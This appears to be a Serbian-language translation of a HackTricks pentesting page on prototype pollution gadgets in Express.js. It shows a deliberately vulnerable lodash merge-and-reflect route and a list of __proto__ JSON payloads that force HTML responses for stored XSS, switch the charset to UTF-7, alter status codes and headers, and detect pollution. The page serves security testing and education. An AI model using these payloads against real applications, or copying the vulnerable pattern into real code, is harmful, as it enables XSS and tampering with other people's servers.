Express Prototype Pollution Gadgets

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane kradljivih malvera.

Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:


Posluži XSS odgovore

Za dalje detalje pogledajte originalno istraživanje

Promeni JSON content-type u HTML

U Express aplikaciji koristeći JSON content type odgovor i reflektujući JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

U ovim slučajevima XSS obično nije moguć sa JSON sadržajem. Međutim, pomoću prototype pollution-a možemo zbuniti Express da posluži HTML odgovor. Ova ranjivost se oslanja na aplikaciju koja koristi res.send(obj) i koristi body parser sa application/json sadržajem.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Kroz zagađivanje svojstava body i _body, moguće je izazvati da Express posluži sadržaj HTML tipa i odrazi svojstvo _body, što rezultira sačuvanim XSS-om.

Renderovanje UTF7

Moguće je naterati express da renderuje UTF-7 sadržaj sa:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Bezbedne tehnike skeniranja

JSON razmaci

Sledeći PP će učiniti da atributi unutar JSON-a imaju dodatni razmak koji neće narušiti funkcionalnost:

{"__proto__":{"json spaces": " "}}

Zatim će reflektovani JSON izgledati ovako:

{"foo":  "bar"} -- Note the extra space

Izloženi zaglavlja

Sledeći PP gedžet će naterati server da pošalje nazad HTTP zaglavlje: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Potrebno je da je CORS modul instaliran

OPTIONS Metod

Sa sledećim payload-om, moguće je sakriti metod iz OPTIONS odgovora:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Moguće je promeniti vraćeni statusni kod koristeći sledeći PP payload:

{"__proto__":{"status":510}}

Greška

Kada dodelite prototipu primitivnu vrednost poput stringa, to proizvodi operaciju bez efekta jer prototip mora biti objekat. Ako pokušate da dodelite prototipni objekat samom Object.prototype, to će izazvati izuzetak. Možemo koristiti ova dva ponašanja da bismo detektovali da li je prototipno zagađenje uspešno:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflektovana vrednost

Kada aplikacija uključi objekat u svoj odgovor, kreiranje atributa sa neobičnim imenom pored __proto__ može biti informativno. Konkretno, ako je samo neobični atribut vraćen u odgovoru, to bi moglo ukazivati na ranjivost aplikacije:

{"unusualName":"value","__proto__":"test"}

Osim toga, u scenarijima gde se koristi biblioteka poput Lodash-a, postavljanje svojstva i putem proto-izmena (PP) i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljnom objektu pre spajanja:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Razno

Dozvoli tačke

Postoji opcija u Express-u koja vam omogućava da kreirate objekte iz parametara upita u nizu. Svakako biste je mogli koristiti u lancu grešaka da iskoristite ranjivost prototipa zagađenja.

{"__proto__":{"allowDots":true}}

?foo.bar=baz kreira objekat u Node-u.

Reference

WhiteIntel je pretraživač na tamnom webu koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici ugroženi od malvera koji krade podatke.

Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated